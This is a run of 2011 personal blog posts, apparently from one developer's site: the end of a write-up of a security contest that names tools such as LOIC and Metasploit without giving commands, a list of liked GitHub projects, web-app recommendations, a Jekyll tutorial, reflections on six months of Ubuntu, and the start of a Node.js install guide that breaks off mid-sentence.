<p>Day 1 consisted mostly of us learning about the network and trying to gain access into the other systems. All the services were highly vulnerable, and as a result, we had to patch that vulnerability in our own servers before we attacked anyone with it. DoS attacks started late in theday, but were ever present.</p>
<p>The VMs handed t us included a Windows Server 2003, a debian, and an Ubuntu. Only open source/freeware tools were allowed, and we used lots of stuff including :</p>
<ul>
<li>Backtrack for almost everything since attack laptops given to us had Windows installed</li>
<li>LOIC for DoS attacks</li>
<li>Wireshark for packet analysis.</li>
<li>Snort for intrusion detection.</li>
<li>NMap for scanning services</li>
<li>Metasploit for trying out exploits</li>
<li>Cain and Abel for miscellaneous stuff</li>
</ul>
<h2 id="day-2">Day 2</h2>
<p>Day 2 involves lots of pwning,and a surprise twist. All VMs for day 1 had been reset to their current state, and we had to do patch them all over again in first fifteen minutes of the session. Other than that, the increase in traffic was exponential. All our machines were scanned tonell. DoS attacks became normal, and the epic moment of the day was during the last session when we had our router pwned.</p>
<p>Pics from the Event are at <a href="https://www.facebook.com/media/set/?set=a.2204003219759.2107008.1237711792">Facebook</a>.</p>
<h1 id="conclusion">Conclusion</h1>
<p>Kudos to the Deloitte Team for organizing such a brilliant contest. We had lots of fun. They have assured us that next year it will be even bigger and better. And that the format will be entirely Different. Ext hear so this blog post might not be as helping as you may have thought.</p>
Github +1 URLs2011-10-17T00:00:00+00:00https://captnemo.in/blog/2011/10/17/github-projects-to-follow<p>I was working on the Google +1 Listing API (undocumented). So here’s a list of my current +1 urls on github.com. Most of the projects pertain to web-designing. I’ll update this list automatically every week or so, provided I remember to/set a cron job.</p>
<table>
<tbody id="urls">
<tr>
<td><a href="https://github.com/jayferd/color.js" title="https://github.com/jayferd/color.js">jayferd/color.js</a>
</td><td><p>color.js - The missing color library</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/typicaljoe/taffydb" title="https://github.com/typicaljoe/taffydb">typicaljoe/taffydb</a>
</td><td><p>taffydb - TaffyDB - an open source JavaScript Database for your browser</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/antirez/lamernews" title="https://github.com/antirez/lamernews">antirez/lamernews</a>
</td><td><p>lamernews - Lamer News -- an HN style social news site written in Ruby/Sinatra/Redis/JQuery</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/felixge/node-mysql/" title="https://github.com/felixge/node-mysql/">felixge/node-mysql</a>
</td><td><p>node-mysql - A pure node.js JavaScript Client implementing the MySql protocol.</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/daneden/animate.css" title="https://github.com/daneden/animate.css">daneden/animate.css</a>
</td><td><p>animate.css - A big ol' goody bag filled with CSS animations for WebKit, Firefox and beyond.</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/javve/list" title="https://github.com/javve/list">javve/list</a>
</td><td><p>Do you want a 7 KB cross-browser native JavaScript that makes your plain HTML lists super flexible, searchable, sortable and filterable? Yea</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/azer/jekyll-social-activities" title="https://github.com/azer/jekyll-social-activities">azer/jekyll-social-activities</a>
</td><td><p>jekyll-social-activities - a jekyll project template to list social network activities</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/e1ven/Robohash" title="https://github.com/e1ven/Robohash">e1ven/Robohash</a>
</td><td><p>Robohash - RoboHash.org</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/donpark/node-robohash" title="https://github.com/donpark/node-robohash">donpark/node-robohash</a>
</td><td><p>node-robohash - node.js implementation of Robohash. It's neither complete nor render general SVG.</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/lg/marshmallow" title="https://github.com/lg/marshmallow">lg/marshmallow</a>
</td><td><p>marshmallow - An open source Campfire server</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/tmcw/big" title="https://github.com/tmcw/big">tmcw/big</a>
</td><td><p>big - presentations for busy messy hackers</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/blog/964-all-of-the-hooks" title="https://github.com/blog/964-all-of-the-hooks">All of the Hooks</a>
</td><td><p>Service Hooks are available for more events (issues, pull requests, forks, etc). Update them through the API!</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/chromakode/karmabot" title="https://github.com/chromakode/karmabot">chromakode/karmabot</a>
</td><td><p>karmabot - A highly extensible IRC karma+information bot written in Python.</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/moserware/PHPSkills" title="https://github.com/moserware/PHPSkills">moserware/PHPSkills</a>
</td><td><p>PHPSkills - An implementation of the TrueSkill algorithm in PHP</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/nodejitsu/docs" title="https://github.com/nodejitsu/docs">nodejitsu/docs</a>
</td><td><p>docs - Community powered rocket fuel for node.js</p>
</td>
</tr>
<tr>
<td><a href="http://fgnass.github.com/spin.js/" title="http://fgnass.github.com/spin.js/">spin.js</a>
</td><td><p>An animated CSS activity indicator with VML fallback.</p>
</td>
</tr>
<tr>
<td><a href="https://blackberry.github.io/Alice/demos/index.html" title="https://blackberry.github.io/Alice/demos/index.html">Alice.js Demos</a>
</td><td><p>Alice.js Demos. Alice.js (A Lightweight Independent CSS Engine) is a micro JavaScript library focused on using hardware-accelerated capabili</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/tcorral/Design-Patterns-in-Javascript" title="https://github.com/tcorral/Design-Patterns-in-Javascript">tcorral/Design-Patterns-in-Javascript</a>
</td><td><p>Design-Patterns-in-Javascript - Based in examples on Head First Design Patterns</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/atduskgreg/srender" title="https://github.com/atduskgreg/srender">atduskgreg/srender</a>
</td><td><p>srender - John Resig's Simple Javascript Templating turned into a jQuery Plugin</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/mrdavidlaing/functional-javascript" title="https://github.com/mrdavidlaing/functional-javascript">mrdavidlaing/functional-javascript</a>
</td><td><p>functional-javascript - A fun set of koans to teach you functional programming techniques in Javascript</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/mrdavidlaing/javascript-koans" title="https://github.com/mrdavidlaing/javascript-koans">mrdavidlaing/javascript-koans</a>
</td><td><p>javascript-koans - Koans to learn Javascript</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/robrighter/current" title="https://github.com/robrighter/current">robrighter/current</a>
</td><td><p>current - Node.js app for visualizing http requests on a lan</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/bcoe/endtable" title="https://github.com/bcoe/endtable">bcoe/endtable</a>
</td><td><p>endtable - A ridiculously simple Object Mapper for Node running on top of CouchDB.</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/sproutcore/sproutcore" title="https://github.com/sproutcore/sproutcore">sproutcore/sproutcore</a>
</td><td><p>sproutcore - JavaScript Application Framework - JS library only</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/tpope" title="https://github.com/tpope">tpope's Profile</a>
</td><td><p>tpope (Tim Pope). You're not logged in! Login; Pricing & Signup. Name: Tim Pope. Website/Blog: http://tpo.pe/. Company: Waiting on t</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/tpope/vim-fugitive" title="https://github.com/tpope/vim-fugitive">tpope/vim-fugitive</a>
</td><td><p>vim-fugitive - fugitive.vim: a Git wrapper so awesome, it should be illegal</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/github/gitignore" title="https://github.com/github/gitignore">github/gitignore</a>
</td><td><p>A collection of useful .gitignore templates</p>
</td>
</tr>
<tr>
<td><a href="http://harvesthq.github.com/chosen/" title="http://harvesthq.github.com/chosen/">Chosen - a JavaScript plugin for jQuery and Prototype - makes select boxes better</a>
</td><td><p>Standard Select.</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/harvesthq/chosen" title="https://github.com/harvesthq/chosen">harvesthq/chosen</a>
</td><td><p>chosen - Chosen is a library for making long, unwieldy select boxes more friendly.</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/rthauby/Paige" title="https://github.com/rthauby/Paige">rthauby/Paige</a>
</td><td><p>Paige - Super simple project page generation</p>
</td>
</tr>
<tr>
<td><a href="http://jashkenas.github.com/docco/" title="http://jashkenas.github.com/docco/">docco.coffee</a>
</td><td><p>Docco is a quick-and-dirty, hundred-line-long, literate-programming-style documentation generator. It produces HTML that displays your comme</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/LeaVerou/prefixfree" title="https://github.com/LeaVerou/prefixfree">LeaVerou/prefixfree</a>
</td><td><p>prefixfree - Break free from prefix hell!</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/twitter/scala_school" title="https://github.com/twitter/scala_school">twitter/scala_school</a>
</td><td><p>scala_school - Lessons in the Fundamentals of Scala</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/arcturo/library" title="https://github.com/arcturo/library">arcturo/library</a>
</td><td><p>A library of free eBooks we're working on</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/tcr/selection.js" title="https://github.com/tcr/selection.js"> tcr/selection.js</a>
</td><td><p>selection.js - A tiny JavaScript DOM selection library for modern browsers and IE5-8.</p>
</td>
</tr>
<tr>
<td><a href="http://dodgeball.github.com/" title="http://dodgeball.github.com/">First Annual Octocat Dodgeball Invitational</a>
</td><td><p>Why? We were brainstorming in the office and decided we should throw balls at our enemies. But why stop at destroying our enemies with foam </p>
</td>
</tr>
<tr>
<td><a href="https://github.com/coreh-deprecated/nide" title="https://github.com/coreh-deprecated/nide">nide - Beautiful IDE for Node.JS</a>
</td><td><p>nide. Beautiful IDE for Node.JS. nide is a web-based IDE for Node.js, designed with simplicity and ease-of-use in mind. The current version </p>
</td>
</tr>
<tr>
<td><a href="https://github.com/mikeal/request" title="https://github.com/mikeal/request">mikeal/request</a>
</td><td><p>Simplified HTTP request client.</p>
</td>
</tr>
<tr>
<td><a href="https://github.com/unconed/TermKit" title="https://github.com/unconed/TermKit">unconed/TermKit</a>
</td><td><p>TermKit - Experimental Terminal platform built on WebKit + node.js. Currently only for Mac and Windows, though the prototype works 90% in an</p>
</td>
</tr>
<tr>
<td><a href="http://usersinhell.com/dropbox-github-pricing/" title="http://usersinhell.com/dropbox-github-pricing/">If Dropbox Used GitHub’s Pricing Plan</a>
</td><td><p>If Dropbox Used GitHub's Pricing Plan. What if Dropbox used GitHub's pricing model? Folders? Yes, folders. I have a lot of folders. </p>
</td>
</tr>
</tbody>
</table>
Must Use Web Applications2011-10-15T00:00:00+00:00https://captnemo.in/blog/2011/10/15/awesome-webapps<p>Here are a few of the applications that I would heavily recommend.</p>
<h2 id="workflowy"><a href="http://workflowy.com">Workflowy</a></h2>
<p>Here’s how Workflow describes itself.</p>
<blockquote>
<p>WorkFlowy is a simple, but powerful way to manage all the information in your life.</p>
</blockquote>
<p>Here’s their introductory video:</p>
<iframe width="500" height="300" src="https://www.youtube.com/embed/CSmbnaPZVHE" frameborder="1" allowfullscreen=""></iframe>
<p>If that does not hook you, I don’t know what will.</p>
<h2 id="clipboard-">Clipboard <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></h2>
<p>Clipboard is a content archiver tool that makes it quick, snappy, easy, and cool. It has got tons of features and is still in private beta. However, since Michael Arrington blogged about it, it has begun accepting larger number of invites. I’ve only started to use it, but it has been quite awesome till now.</p>
<p>My favorite feature is <em>embed</em>. Everything I’ve embedded on this page is via clipboard, as a demo. You can clip tweets, pics, videos and what not and embed it on your blog easily.</p>
<h2 id="gett-"><a href="http://ge.tt/">Ge.tt</a> <img src="https://img.shields.io/badge/status-mostly-dead-orange.svg?style=flat-square" alt="" /></h2>
<p>Ge.tt is one of the many file sharing sites that seem to have cropped up in Web 2.0. Its USP is its simplicty, however don’t be fooled by it. It has got lots of features as well:</p>
<p><img src="/img/gett.png" alt="Gett Screenshot" /></p>
<ul>
<li>Share URLs while your stuff is uploading</li>
<li>Share without even logging in</li>
<li>Drag and drop upload</li>
<li>Versioning for file Uploads</li>
<li>Share multiple files under a single upload</li>
<li>Limited Analytics (See number of Downloads)</li>
</ul>
<p>So yes, its not as powerful as many others, but has got quite enough features to keep me busy.</p>
<h2 id="minus-">Minus] <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></h2>
<p>Minus is a simple image sharing service. It was amongst the first to offer Drag-And-Drop upload back before it was cool. Right now, it is trying to become the next flickr, allowing people to subscribe to each other. If you are someone who posts cool pics regularly, check this out.</p>
<p><img src="/img/minus.png" alt="Minus Home Page" /></p>
<p>My primary browser is Chromium, and here are some Chrome Applications that I use regularly:</p>
<h2 id="offline-gmail-">Offline GMail <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></h2>
<p>Was a Chrome extension that used Google Gears for letting you use GMail completely offline.</p>
<p><img src="https://lh4.googleusercontent.com/G7YSss4-ULNnV0NPYE3UDszmIAdeV8l3FWAqK0qy_s7LmCTiqG5JeRkl6pEXed2fCwhtoZEU=s400-h275-e365" alt="Offline GMail Screenshot" /></p>
<h3 id="pros">Pros:</h3>
<ul>
<li>Looks cool</li>
<li>Allows multiple accounts</li>
<li>Drafs facility</li>
<li>Labels</li>
</ul>
<h3 id="cons">Cons</h3>
<ul>
<li>Not all the functionality of Online GMail</li>
</ul>
<h2 id="collaborative-editors">Collaborative Editors</h2>
<p>I like collaborative editing, working together with people in real-time. Unfortunately, the <a href="http://wave.google.com">biggest entrant</a> fizzed out. However, there are still quite a lot of competitors left in the field.</p>
<h3 id="google-docs"><a href="https://docs.google.com">Google Docs</a></h3>
<p>I tend to avoid Google Docs usually, as it is too much of a bloat for me. The integration with Google Chat is good, but sometimes all you need is a plain text editor. There is also an <a href="https://chrome.google.com/webstore/detail/apdfllckaahabafndbhieahigkjlhalf?hc=search&hcp=main">Offline Google Docs</a> application, although it does not allow one to edit documents. Also no presentations.</p>
<h3 id="etherpad"><a href="http://etherpad.com">Etherpad</a></h3>
<p>Etherpad is quite good, as a plain text collaborative editor. I tend it to use it frequently, and it has some excellent features. It makes a thousand revisions of each of my posts, and allows me to play through them, and see who made wat change in real-time. All this, for free. Plus you get chat, and basic formatting (bold, italics, underline).</p>
<p>The previously mentioned <a href="http://workflowy.com">workflowy</a> keeps your lists in sync over time, so it is collaborative, though not in real time.</p>
<p>Also, mention goes out to <a href="http://pastehtml.com">pastehtml</a>, which does an excellent job. Its neither collaborative nor has sharing, but it had me hooked at <em>editable markdown</em>. You can type in markdown, publish in html, and come back and edit your documents, as per your your heart’s wish.</p>
<h2 id="grooveshark-">Grooveshark <a href="https://www.cinchsolution.com/what-happened-to-grooveshark-com/"><img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></a></h2>
<p>I rarely listen to music online, but when I do, its either on Youtube or Grooveshark.</p>
<p><img src="/img/grooveshark.jpg" alt="Grooveshark Screenshot" /></p>
<p>Looking back at this document, it seems that there are not many web-apps that I use.</p>
<p>Some other applications that I regularly use, in no particular order:</p>
<ul>
<li>FreedCamp - A free alternative to <a href="http://basecamphq.com">Basecamp</a> <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></li>
<li><a href="http://www.issueburner.com/">IssueBurner</a> - Simple Issue Tracking via Email</li>
<li>Postary - A simple blogging platform. “Write.Share.” <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></li>
<li><a href="http://lastpass.com">LastPass</a> - Password Manager</li>
</ul>
<p>I’ll probably add some Chrome Extensions later as well.</p>
Blogging with Jekyll2011-09-19T00:00:00+00:00https://captnemo.in/blog/2011/09/19/jekyll<p>For the past few years, there has been a revolution in the blogging scene. People have moved towards better hosting providers, better blogging tools, with automated, and delayed blogging becoming the norm. Posts are written months in advance, and proof-read dozens of times, before making it to the general public. <a href="http://wordpress.com">Wordpress</a>, <a href="http://blogspot.com">Blogspot</a>, <a href="http://tumblr.com">Tumblr</a>, Posterous, Texpaterrn are pretty much everything that most of the bloggers use. However, there have been some silent niche entries in this market. Static Site Generators.</p>
<h2 id="static-site-generators">Static Site Generators</h2>
<p>Static Site Generators are tools which you use to generate a static version of your site. Instead of using a dynamic scripting language (such as php), your tool takes in your markup & combines it with your blog posts to generate an html only version of your site. This version is then uploaded(for eg, via ftp) and is then visible as your blog. Most such tools are written in languages such as <code class="language-plaintext highlighter-rouge">ruby</code>, <code class="language-plaintext highlighter-rouge">python</code>, <code class="language-plaintext highlighter-rouge">node.js</code>, and <code class="language-plaintext highlighter-rouge">erlang</code>. The most commonly known are Jekyll, Hyde, nanoc, and webby. An excellent list is available <a href="https://staticsitegenerators.net/">here</a>.</p>
<h2 id="benifits-of-using-static-site-generators">Benifits of using Static Site Generators</h2>
<h3 id="markup">Markup</h3>
<p>For me, the most important part of using Jekyll is that it allows me to use <code class="language-plaintext highlighter-rouge">markdown</code> as my writing syntax. Markdown is a markup language that is compiled to HTML. It is supposed to be a highly readable version of html. For instance it uses backticks(`) to write code.</p>
<p>`this` becomes <code class="language-plaintext highlighter-rouge">this</code></p>
<p>Also, you can use * to emphasize text(strong or emphasis). Link creation is not the horrible <a href=> that you remember, but the sleek looking [Link text](Link URL). Similarly it offers lots of other features. You can even specify alternative markup languages, such as textile in jekyll configuration.</p>
<h3 id="ease-of-blogging">Ease Of Blogging</h3>
<p>You can write blog entries very easily. I’ve added markdown syntax bindings to <code class="language-plaintext highlighter-rouge">vim</code>, my favorite editor, and geany has a markdown plugin as well. I am of the opinion that you should write text entries in a text-editor, not a textarea in a browser window. I used Windows Live Writer for quite some time and still believe that it is far ahead of anything else in the market. But the wpost format that it uses is propertiery, and as such stopped me from importing blog posts anywhere.</p>
<h3 id="revision-control">Revision Control</h3>
<p>Revision Control, such as <code class="language-plaintext highlighter-rouge">git</code>, works best with text-files. Since your blog entries are now just plain text files, you can easily store them under version control, easily reverting blotched commits, making branches, and merging errors. And in case you do not know it yet, <code class="language-plaintext highlighter-rouge">git</code> is awesome!</p>
<h3 id="layout-tools">Layout Tools</h3>
<p>Jekyll allows you to define your layout using Liquid Templating. {{content}} translates to the variable content. Similarly you can iterate over blog posts, by using Liquid tags for <code class="language-plaintext highlighter-rouge">foreach</code>. The best part is that this is all done before publishing your website, meaning that the final result is always just pure html. You can easily create static portions of your site (such as headers, footers, sidebars).</p>
<h2 id="getting-started-with-jekyll">Getting Started With Jekyll</h2>
<p>I’ll start with jekyll, since it is the most used one out there, and runs on github. It even powers this very blog. First, you must install jekyll. On an Ubuntu machine, <code class="language-plaintext highlighter-rouge">sudo apt-get install ruby rubygems && gem install jekyll</code> should work. If you are working on development using Ruby, I’d recommend you to <code class="language-plaintext highlighter-rouge">rvm</code>, instead of plain vanilla distro ruby installs. For windows folks, install Ruby, and the Devkit using RubyInstaller.org. After that run <code class="language-plaintext highlighter-rouge">gem install jekyll</code>.</p>
<p>Instead of preparing a site from scratch, we will instead be forking an existing site running on jekyll, and using it to model our own. This is partly to shield this tutorial from html/css/js which is irrelevant in this case. In this particular case, I will be using <a href="http://captnemo.in">my very own website</a>. <a href="http://github.com/captn3m0/captn3m0.github.com">Download the source code</a> for my website from github and extract it somewhere. Next, you will have to delete all the content inside the <code class="language-plaintext highlighter-rouge">_posts</code>, projects, <code class="language-plaintext highlighter-rouge">_drafts</code>, contact, & data directories as I do not give permission to you do use those in your site.</p>
<p>Next, create a file called <code class="language-plaintext highlighter-rouge">_posts/2011-month-date.md</code> with the following format :</p>
<pre>
<code class="prettyprint">
---
title: Title Of Post
layout: post
---
The blog entry follows here in markdown. You can use *italic*, **bold**, [Link](http://google.com), #header1, ##header2 etc.
For more markdown details, visit its official page at http://daringfireball.net/projects/markdown/syntax#autolink
</code>
</pre>
<p>Now, open up the <code class="language-plaintext highlighter-rouge">_layouts/</code> and edit default.html. You’d need basic html skills to replace my photo with your own, and change links to various places. After you are done, just <code class="language-plaintext highlighter-rouge">cd</code> into the root directory of the site, and run <code class="language-plaintext highlighter-rouge">jekyll</code>. Some output should confirm that the server ran successfully. Open up <code class="language-plaintext highlighter-rouge">http://localhost:4000</code> in your browser, and you will see your web-site running.</p>
<p>Now for the hosting part. All of your current site is hosted in <code class="language-plaintext highlighter-rouge">_site</code> folder, so you can upload it anytime you want. Or, if you want, you can use github as your hosting provider. Just follow the instructions on <a href="http://pages.github.com">pages.github.com</a> and you should be be up and running in no time.</p>
Six Months of Ubuntu2011-09-13T00:00:00+00:00https://captnemo.in/blog/2011/09/13/6-months-of-ubuntu<p>I installed Ubuntu as my primary OS back sometime in February. Not that I’d not tried it earlier. In fact, I’d used a copy of Ubuntu 3 back in day. But this time around, Windows (from my dual boot) just gave up and died. The partition with Windows got heavily corrupted, lost lots of data, and ultimately I had to format it. And Ubuntu dragged through all that. And here I’m today, a veteran of 3 Ubuntu versions, starting with 10.10, and right now on the 11.10 beta.</p>
<p>What have I learned ? That its better than Windows, for one. But several other things as well. I’m writing this post from the general linux-distro scene, and not just Ubuntu in specific. For the period before Feb, I’d been using Linux Mint as my primary OS for quite some time. But Ubuntu Natty Alpha brought all that Unity love (which I doted on once), and I had to move to 11.04</p>
<h2 id="reasons-to-switch-to-linux">Reasons to switch to Linux</h2>
<ol>
<li>Its free!</li>
<li>Its free! No more paying up for Windows. People who had Windows ship with their computers would be delighted to know that there is something called a Windows Refund, which allows you to be compensated by the cost of Windows, if you decide not to use it.</li>
<li>Better file system. If you’ve ever lost yourself in the mirth of files in “Program Files”, “AppData”, “Application Data”, “sytem32” and the like, you’d be delighted to know that there is a very well balanced binary management system in Linux. All binaries are in PATH, unlike Windows, where some softwares do that, and most don’t. So you can actually run <code class="language-plaintext highlighter-rouge">php</code>, <code class="language-plaintext highlighter-rouge">git</code>, <code class="language-plaintext highlighter-rouge">ruby</code> from any damn place that you want. People who have tried to compile Java programs using <code class="language-plaintext highlighter-rouge">javac</code> on Windows might remembring updating PATH in Windows. No more of that in Linux.</li>
<li>Free softwares! The majority of good software on Windows is paid (and even more with Mac). But in the Linux world, (almost) everything is free. What is paid for then? Some games, high level commercial softwares and the like. But most of the stuff is free.</li>
<li><strong>Package Management</strong> Apparently Windows 8 will have some sort of app-store with it. Which is a long time coming in Windows. But guess what, almost all Linux distros have some flavor of package manager built in. Debian (and Ubuntu) has <code class="language-plaintext highlighter-rouge">apt-get</code>, Arch has <code class="language-plaintext highlighter-rouge">pacman</code>, Fedora has <code class="language-plaintext highlighter-rouge">yum</code>. And installing softwares is as easy as it could be. Need mysql? Just type <code class="language-plaintext highlighter-rouge">sudo apt-get install mysql</code>. Done. Boom. Just like that.</li>
<li><strong>Customization Level</strong> Even though I don’t like the messing up of Gnome by Ubuntu, there are tons of alternatives available. I’m right now using Gnome-Shell, and have plans to move to <code class="language-plaintext highlighter-rouge">xmonad</code>, which is another Window Manager. Almost every feature on the Linux desktop can be customized.</li>
<li><strong>Terminal</strong> I’d always had planned several <code class="language-plaintext highlighter-rouge">learn bash scripting</code> kind of to-dos but never got to it until I started using Linux. Even if you don’t script, the actual power of your machine is opened by the terminal. Hacking away in <code class="language-plaintext highlighter-rouge">vim</code>, and browsing sites using <code class="language-plaintext highlighter-rouge">elinks</code>, and ordering Pizzas in Command Line is as geeky as it gets. Gnome is designed in such a way to allow a normal user to use his computer fully without touching the terminal, but if you use it, it gets better & better.</li>
<li><strong>Applications</strong> There was a time I used to be a Windows fanatic, using WMP, Zune, Everything and what not. But now, I’ve got a bigger arsenal of softwares. Ever used <em>Audacious</em>? That’s my default music player, and its awesome.</li>
<li><strong>Software Development</strong> You use Windows to develop stuff for Windows. I’m nowhere near to writing applications in C#. I’ll probably be hacking away scripts in ruby, node, python, bash, and building stuff using xul, gtk, webgtk, and qt. All my web applications are ultimately deployed on Linux machines, so it makes sense to write them on Linux. And only Linux has the ease of language package managers, like rubygems, npm, and pip.</li>
<li><strong>Open Source</strong> I haven’t yet checked out the Linux Kernel source code, but I’m thinking of getting my hands dirty real soon. Ever since I’ve joined github, I’ve been introduced to several awesome coders, projects, and organizations. And guess what? Its all open source! Meaning I actually spend less time writing parsers for xml, and more time working on applications.</li>
</ol>
<h2 id="what-ive-learned">What I’ve Learned</h2>
<ol>
<li><strong>Be utterly fearless</strong> Back when I was in Windows, a simple partition deletion used to scare me to death. Now? I’m ready for anything. If you, like me, go play with the alpha of all your favorite stuff, then things will break. And it will be fun to solve all that stuff. You will learn a thousand new things in the process, gain lots of rep on askubuntu, and become a Ubuntu Jedi Master. OK, maybe not the last bit, but <em>you shall become utterly fearless</em> of all danger. I had to use my computer without network accesibility for three days. And it didn’t even give me a GUI. So I just drudged along for 3 days straight on the console. :)</li>
<li><strong>Community</strong> Sometimes, I feel people do not get my helpful comments, and offerings of help on Facebook. Its not their fault. They’ve never been introduced to a proper online, helpful community before. The Linux community is helpful, worldwide, readily available, and has probably handled the problem that you are facing now.</li>
<li><strong>Server Administration</strong> I’m still lacking on the cloud front, as I don’t have servers powerful enough to host virtual machines. But otherwise, I’ve handled lots of stuff. <code class="language-plaintext highlighter-rouge">ssh</code> is my thing, and I use <code class="language-plaintext highlighter-rouge">git</code> to deploy applications like a pro. I’ve moved on from <code class="language-plaintext highlighter-rouge">apache</code> to <code class="language-plaintext highlighter-rouge">nginx</code> to <code class="language-plaintext highlighter-rouge">cherokee</code> and what not.</li>
<li><strong>Take Backups</strong> Remember all those “Take Backups before installing Windows/Ubuntu” things that popup while installing your OS. I never paid attention to them, until recently. Now, I’ve got backups scheduled on <code class="language-plaintext highlighter-rouge">Dropbox</code>, <code class="language-plaintext highlighter-rouge">SpiderOak</code>, and a custom <code class="language-plaintext highlighter-rouge">SparkleShare</code> server. I make sure to host my code on github, or my personal git repositories and backup images to Picasa. Everyone knows hard discs are unreliable, so why not make your data redundant and take backups.</li>
</ol>
<p>The only counter argument would be that Windows has much more stream-lined view of things, with almost everything offering a GUI based application to amange stuff. That’s just not the Linux way. Still, I’m not one of those crazy fanatics who go around preaching Linux (maybe I am!). I feel that if you are using your computer to just open Chrome, Firefox, VLC, and Word, then anything would do. You could probably install android on your computer and do everything you are doing right now. If you are a heavy gamer, then better stay with Windows. And if you are a programmer, switch to Linux.</p>
<h2 id="windows-8">Windows 8</h2>
<p>I installed a developer preview copy of Windows 8 recently, and although I was really awed by its designs concepts, I feel that it is still lacking in certain fronts. For instance, it seems to me that Microsoft is trying to get 8 to the tablets much more readily than on the desktops. Why? Because, there is nothing that can undermine Windows superior market share in Desktops for the near future. However Android & iOS have a very strong presence. Ergo, Windows 8 goes to tables.</p>
<p>I installed all my favorite programs on Windows 8, but had to switch back after a few days. As a developer, it just does not offer me the same freedom, and easy workflow that I am accustomed to. For instance :</p>
<ul>
<li>Installing Ruby with build support for gems took a lot of time and patience.</li>
<li>Cygwin does not compare anywhere near to a bash shell. Its like this tiny humble brother of shell who turns away when you say PATH. You have to type all those monstrous <code class="language-plaintext highlighter-rouge">C:/\</code> kind of paths.</li>
<li>No App Store. Windows 8 dev preview does not have an app store yet, which was one of the reasons I had tried Win8. I’m used to frequently browsing the Ubuntu Software Center just to find something that fits.</li>
<li>I found that my productivity reduced to half when I was on Windows. I spent too much time looking for stuff which could be done by a single line bash on Linux</li>
</ul>
<p>Tags: operating systems, linux, ubuntu, windows 8, weblog ifest 2011</p>
Programming in Node.JS2011-09-12T00:00:00+00:00https://captnemo.in/blog/2011/09/12/programming-in-nodejs<p>After my attempts at <a href="http://captnemo.in/blog/2011/05/16/learning-python">python</a>, <a href="https://rubyonrails.org">Ruby on Rails</a>, this was the time for node.js. You ask me what is node.js ? Remember when Google Chrome came out and went <a href="http://stackoverflow.com/questions/40994/is-google-chromes-v8-engine-really-that-good">blazing past the rest of the browsers</a> in Javascript benchmarks. That was because of its internal Javascript Engine, called <a href="http://code.google.com/p/v8/">V8</a>.</p>
<p>Soon, V8 was developed as a backend to an evented IO library, that is now known as <a href="http://nodejs.org">node.js</a>. Initially, it was named just node, but to prevent confusion, and explain its javascript inheritance, it was renamed node.js. This is the water-cooler moment of the language. If you know node, you’re the cool guy on the block. So what is so special in node ?</p>
<h2 id="evented-io">Evented IO</h2>
<p>Basically node allows you bring home the same good anonymous functions from <a href="http://jquery.org">JQuery</a> on your server. In advanced terms, node allows evented input/output, meaning all the IO calls are non-blocking and evented, or scheduled in parallel.</p>
<h3 id="traditional-io">Traditional I/O:</h3>
<pre class="prettyprint">
data = file.read("/foo/bar");
// wait...
doSomething(data);
</pre>
<h3 id="evented-io-1">Evented I/O:</h3>
<pre class="prettyprint">
file.read("/foo/bar", function(data) {
// called after data is read
doSomething(data);
});
otherThing(); // execute immediately;
</pre>
<h2 id="how-to-install">How To Install</h2>
<p>The official installation guide is present at <a href="https://github.com/joyent/node/wiki/Installation">https://github.com/joyent/node/wiki/Installation</a>. I’d present a slightly different version, using <code class="language-plaintext highlighter-rouge">nvm</code>, i.e <a href="https://github.com/creationix/nvm">Node Version Manager</a>.</p>
<h3 id="unixlinux">Unix/Linux</h3>
<h4 id="dependencies">Dependencies</h4>
<p>There are some dependencies on installing node.</p>
<p><code class="language-plaintext highlighter-rouge">sudo apt-get install git-core build-essentials libssl-dev</code></p>
<p>Run the corresponding command for your distro (yum etc).</p>
<h4 id="installing-nvm">Installing nvm</h4>
<ol>
<li>Clone nvm:
<code class="language-plaintext highlighter-rouge">git clone https://github.com/creationix/nvm.git ~/.nvm</code></li>
<li>Include nvm:
<code class="language-plaintext highlighter-rouge">. ~/.nvm/nvm.sh</code> //The dot is important</li>
<li>Source it to your bash file. Basically copy the above command(2) inside your ~/.bashrc.</li>
</ol>
<h4 id="fetching-node">Fetching node</h4>
<p>Node is under heavy development at the moment. Development of node is carried across a stable & a testing branch. The stable branch is the one that you should prefer. As of now, <code class="language-plaintext highlighter-rouge">stable</code> is <code class="language-plaintext highlighter-rouge">v0.4.11</code> and testing has reached <code class="language-plaintext highlighter-rouge">v0.5.6</code>.</p>
<p>Now run the following commands:
